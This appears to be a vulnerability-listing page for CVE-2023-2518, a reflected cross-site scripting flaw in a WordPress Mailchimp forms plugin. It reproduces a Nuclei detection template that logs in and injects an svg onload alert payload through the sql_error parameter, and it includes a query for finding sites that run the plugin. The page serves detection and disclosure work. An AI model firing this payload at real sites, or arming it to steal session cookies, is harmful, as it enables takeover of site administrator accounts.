CVE-2023-2518: WordPress Easy Forms for Mailchimp Plugin < 6.8.9 - Cross-Site Scripting

2025-08-01 WordPress Easy Forms for Mailchimp PoC Public

Description

The Easy Forms for Mailchimp plugin before version 6.8.9 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the sql_error parameter before outputting it back in the page when the debug option is enabled, which could allow attackers to execute arbitrary JavaScript code in an administrator's browser context.

PoC

id: CVE-2023-2518

info:
  name: WordPress Easy Forms for Mailchimp Plugin < 6.8.9 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The Easy Forms for Mailchimp plugin before version 6.8.9 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the sql_error parameter before outputting it back in the page when the debug option is enabled, which could allow attackers to execute arbitrary JavaScript code in an administrator's browser context.
  impact: |
    Attackers can inject malicious JavaScript through the sql_error parameter when debug mode is enabled, potentially stealing administrator session cookies and gaining full control over the WordPress site.
  remediation: |
    Update Easy Forms for Mailchimp plugin to version 6.8.9 or later that properly sanitizes and escapes the sql_error parameter before output.
  reference:
    - https://wpscan.com/vulnerability/ca120255-2c50-4906-97f3-ea660486db4c
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2518
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2518
    cwe-id: CWE-79
    epss-score: 0.01092
    epss-percentile: 0.63739
    cpe: cpe:2.3:a:yikesinc:easy_forms_for_mailchimp:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 3
    vendor: yikesinc
    product: easy_forms_for_mailchimp
    fofa-query: body="wp-content/plugins/yikes-inc-easy-mailchimp-extender/"
  tags: cve,cve2023,wp,wordpress,wp-plugin,xss,yikes-inc-easy-mailchimp-extender,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "yikes-inc-easy-mailchimp-extender"
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?page=yikes-mailchimp-edit-form&sql_error=%3Csvg%2Fonload%3Dalert%28document.domain%29%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<svg/onload=alert(document.domain)>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a63ff30324b8b653052718fbb5c3082aec6fdffa1c2d58ae1d94977da4ce649d022100fb4e2b7175a108dfacdc0ee94a3e39ec2ac5e7b1e8b99287f4272436e8934738:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-2518.yaml

References

Related Vulnerabilities